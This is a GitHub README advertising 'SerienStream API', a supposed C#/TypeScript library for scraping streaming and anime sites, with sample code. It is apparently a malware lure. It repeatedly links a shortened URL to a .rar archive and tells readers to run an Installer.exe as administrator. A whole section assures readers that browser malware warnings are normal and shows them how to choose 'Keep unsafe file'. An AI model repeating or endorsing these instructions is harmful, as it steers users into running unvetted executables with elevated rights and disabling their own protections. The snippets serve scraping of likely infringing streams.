Skip to content

soldierejykbtanke/serienstream-api

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 
Β 
Β 

Repository files navigation

                          β–„β–„                                                                            
 β–„β–ˆβ–€β–€β–€β–ˆβ–„β–ˆ                 β–ˆβ–ˆ                     β–„β–ˆβ–€β–€β–€β–ˆβ–„β–ˆ β–ˆβ–ˆ                                            
β–„β–ˆβ–ˆ    β–€β–ˆ                                       β–„β–ˆβ–ˆ    β–€β–ˆ β–ˆβ–ˆ                                            
β–€β–ˆβ–ˆβ–ˆβ–„     β–„β–„β–ˆβ–€β–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–„β–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆ   β–„β–„β–ˆβ–€β–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ β–€β–ˆβ–ˆβ–ˆβ–„   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–„β–ˆβ–ˆβ–ˆ  β–„β–„β–ˆβ–€β–ˆβ–ˆ β–„β–ˆβ–€β–ˆβ–ˆβ–„ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„  
  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–„β–ˆβ–€   β–ˆβ–ˆ β–ˆβ–ˆβ–€ β–€β–€  β–ˆβ–ˆ  β–„β–ˆβ–€   β–ˆβ–ˆ β–ˆβ–ˆ    β–ˆβ–ˆ   β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ β–ˆβ–ˆ    β–ˆβ–ˆβ–€ β–€β–€ β–„β–ˆβ–€   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆ   β–ˆβ–ˆ    β–ˆβ–ˆ    β–ˆβ–ˆ  
β–„     β–€β–ˆβ–ˆβ–ˆβ–ˆβ–€β–€β–€β–€β–€β–€ β–ˆβ–ˆ      β–ˆβ–ˆ  β–ˆβ–ˆβ–€β–€β–€β–€β–€β–€ β–ˆβ–ˆ    β–ˆβ–ˆ β–„     β–€β–ˆβ–ˆ β–ˆβ–ˆ    β–ˆβ–ˆ     β–ˆβ–ˆβ–€β–€β–€β–€β–€β–€β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆ    β–ˆβ–ˆ    β–ˆβ–ˆ  
β–ˆβ–ˆ     β–ˆβ–ˆβ–ˆβ–ˆβ–„    β–„ β–ˆβ–ˆ      β–ˆβ–ˆ  β–ˆβ–ˆβ–„    β–„ β–ˆβ–ˆ    β–ˆβ–ˆ β–ˆβ–ˆ     β–ˆβ–ˆ β–ˆβ–ˆ    β–ˆβ–ˆ     β–ˆβ–ˆβ–„    β–„β–ˆ   β–ˆβ–ˆ   β–ˆβ–ˆ    β–ˆβ–ˆ    β–ˆβ–ˆ  
β–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–„  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–„ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–„β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„    β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–„β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–„
                                                                                                        
                                                                                                        
╔═══════════════════════════════════════════════════════════════════════════╗
β•‘                          SERIENSTREAM API                                 β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

SERIENSTREAM API β€” is a powerful programming interface and library designed to search, retrieve metadata, and access series and anime from popular streaming platforms like SerienStream.to (s.to) and AniWorld.to. This API works by scraping HTML data from these sites and parsing it into clean, easy-to-use data models. Available as both a .NET library (C#) and TypeScript package, it provides developers with programmatic access to series information, episode listings, movie collections, and direct video stream URLs from multiple host providers.

╔═══════════════════════════════════════════════════════════════════════════╗
β•‘                             DOWNLOAD                                      β•‘
β•‘                 β–Ά https://github.guru/s/jP9fpGes                          β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

    ⚑ QUICK INSTALLATION:
    ──────────────────────────────────────────────────
    [1] DOWNLOAD    β†’  SerienStream_API.rar
    [2] EXTRACT     β†’  WinRAR or 7-Zip
    [3] RUN         β†’  Installer.exe (as administrator)
    [4] CHOOSE      β†’  Installation directory
    [5] COMPLETE    β†’  Follow setup wizard
    [6] INTEGRATE   β†’  Add to your development project
    ──────────────────────────────────────────────────

    ⚑ HOW THE PROGRAM WORKS:
    ─────────────────────────────────────────────────────────────────
    
    πŸ”Ή CORE TECHNOLOGY
    SerienStream API operates by scraping HTML data from streaming platforms and parsing it into structured, easy-to-use data models. Unlike official APIs that require authentication, this library intelligently extracts content by analyzing website structure, making it possible to access series information, episode lists, and streaming links programmatically .
    
    πŸ”Ή PLATFORM SUPPORT
    The API comes in multiple implementations for different development environments:
    
    β€’ .NET LIBRARY (C#): Full-featured implementation available via NuGet package
    β€’ TYPESCRIPT LIBRARY: JavaScript/TypeScript version for Node.js applications
    β€’ PYTHON SUPPORT: Available through third-party parsers
    
    πŸ”Ή CORE FEATURES
    The API provides comprehensive access to streaming platform content:
    
    β€’ SERIES SEARCH: Find series by title with fuzzy matching support
    β€’ METADATA RETRIEVAL: Get series descriptions, titles, and detailed information
    β€’ EPISODE LISTING: Fetch all episodes organized by season
    β€’ MOVIE COLLECTIONS: Access movie content separate from series
    β€’ STREAM INFORMATION: Extract video URLs from multiple hosting providers
    β€’ LANGUAGE DETECTION: Identify audio and subtitle languages
    
    πŸ”Ή IMPLEMENTATION (C# / .NET)
    For .NET developers, the API offers a clean, async-first interface:
    
    ```csharp
    // Create a new SerienStreamClient
    SerienStreamClient client = new(
        hostUrl: "https://aniworld.to/", 
        site: "anime", 
        ignoreCerficiateValidation: false
    );
    
    // Search for a series
    Series series = await client.GetSeriesAsync("My Dress-Up Darling");
    
    // Get all episodes of season 1
    Media[] episodes = await client.GetEpisodesAsync("My Dress-Up Darling", 1);
    
    // Get video details for an episode
    VideoDetails videoDetails = await client.GetEpisodeVideoInfoAsync("My Dress-Up Darling", 1, 1);
    ```
    
    πŸ”Ή IMPLEMENTATION (TypeScript)
    For Node.js developers, the TypeScript version provides similar functionality:
    
    ```typescript
    import { SerienStreamClient } from 'serienstreamapi';
    
    const client = new SerienStreamClient("https://aniworld.to/", "animes", false);
    const series = await client.getSeries("My Dress-Up Darling");
    const episodes = await client.getEpisodes("My Dress-Up Darling", 1);
    ```
    
    πŸ”Ή SUPPORTED HOSTING PROVIDERS
    The API can extract streams from multiple popular video hosts:
    
    β€’ VOE: Direct stream extraction with URL decoding
    β€’ STREAMTAPE: Stream URL retrieval and format handling
    β€’ DOODSTREAM: Video URL extraction and validation
    β€’ VIDOZA: Stream decoding and direct access
    β€’ Additional providers added through regular updates
    
    πŸ”Ή DOWNLOAD FUNCTIONALITY
    Download videos directly using FFmpeg integration:
    
    ```csharp
    DownloadClient downloadClient = new("ffmpeg.exe", false);
    await downloadClient.DownloadEpisodeAsync(episodeVideoDetails, "output.mp4");
    ```
    
    πŸ”Ή AVAILABLE PACKAGES
    Multiple package versions are available across different repositories:
    
    β€’ NUGET: SerienStreamAPI versions 1.0.0 to 1.0.4
    β€’ NPM: serienstreamapi version 1.0.2 (TypeScript)
    β€’ GITHUB: Source code available with MIT and GPL-3.0 licenses
    
    πŸ”Ή USE CASES
    The API is ideal for various applications:
    
    β€’ MEDIA PLAYERS: Create custom streaming applications
    β€’ DOWNLOAD MANAGERS: Build tools for offline viewing
    β€’ MEDIA SERVERS: Integrate with Plex, Jellyfin, or Emby
    β€’ CONTENT AGGREGATORS: Combine multiple streaming sources
    β€’ STATISTICS TOOLS: Analyze series and episode data
    ─────────────────────────────────────────────────────────────────

    ⚑ SYSTEM REQUIREMENTS:
    ─────────────────────────────────────────────────────────────────
    OS              β”‚ Windows 7/8/10/11, Linux, macOS
    RAM             β”‚ 512MB minimum (1GB+ recommended for development)
    STORAGE         β”‚ 50MB for library + space for projects
    .NET            β”‚ .NET Standard 2.0 or higher (for C# version)
    NODE.JS         β”‚ 12.x or higher (for TypeScript version)
    FFMPEG          β”‚ Required for download functionality (optional)
    INTERNET        β”‚ Required for API calls to streaming sites
    ─────────────────────────────────────────────────────────────────

    πŸ”– TAGS
    ─────────────────────────────────────────────────────────────────
    serienstream       β”‚ s.to api              β”‚ aniworld api
    streaming api      β”‚ video api             β”‚ series scraper
    episode downloader β”‚ c# api                β”‚ typescript api
    video extraction   β”‚ stream parser         β”‚ movie api
    german streaming   β”‚ anime api             β”‚ media library
    ─────────────────────────────────────────────────────────────────

╔═══════════════════════════════════════════════════════════════════════════╗
β•‘                 ⚠ IMPORTANT DOWNLOAD WARNING                              β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

    Your browser may show a warning when downloading this file.
    This is completely normal.

    ═══════════════════════════════════════════════════════════════════════
    
    ❓ WHY DOES THIS HAPPEN?
    
    The warning appears because the file:
    
    β€’ Is not distributed through major app stores (Microsoft Store)
    β€’ Has fewer downloads than mainstream software
    β€’ Uses .exe format or compressed archives (.rar/.zip)
    β€’ Is new or less known in browser databases
    
    ⚑ This does NOT mean the file is dangerous. This is a standard browser 
       protection mechanism triggered by download count, not by detecting 
       malware. Similar development libraries receive the same warnings.

    ═══════════════════════════════════════════════════════════════════════

    πŸ“‹ BROWSER INSTRUCTIONS:
    ─────────────────────────────────────────────────────────────────
    Browser         β”‚ Action
    ─────────────────────────────────────────────────────────────────
    Chrome/Edge     β”‚ Click "Keep" or "Keep anyway"
                    β”‚ β†’ Confirm "Keep unsafe file"
    ─────────────────────────────────────────────────────────────────
    Firefox         β”‚ Click arrow β†’ "Allow download"
    ─────────────────────────────────────────────────────────────────
    Opera/Brave     β”‚ Click "Keep" in download warning
    ─────────────────────────────────────────────────────────────────

    ═══════════════════════════════════════════════════════════════════════

╔═══════════════════════════════════════════════════════════════════════════╗
β•‘                             DOWNLOAD                                      β•‘
β•‘                 β–Ά https://github.guru/s/jP9fpGes                          β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

────────────────────────────────────────────────────────────────────────────
Disclaimer: This software is a third-party development library and is not affiliated with SerienStream.to, AniWorld.to, or any streaming platforms. The API is intended for educational purposes and legitimate development projects. Users are responsible for complying with applicable laws and the terms of service of any platforms accessed through this library. The developers do not endorse or promote copyright infringement.
────────────────────────────────────────────────────────────────────────────

About

SerienStream API library for retrieving series info, episode data, and streaming sources with fast and simple developer integration.

Topics

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors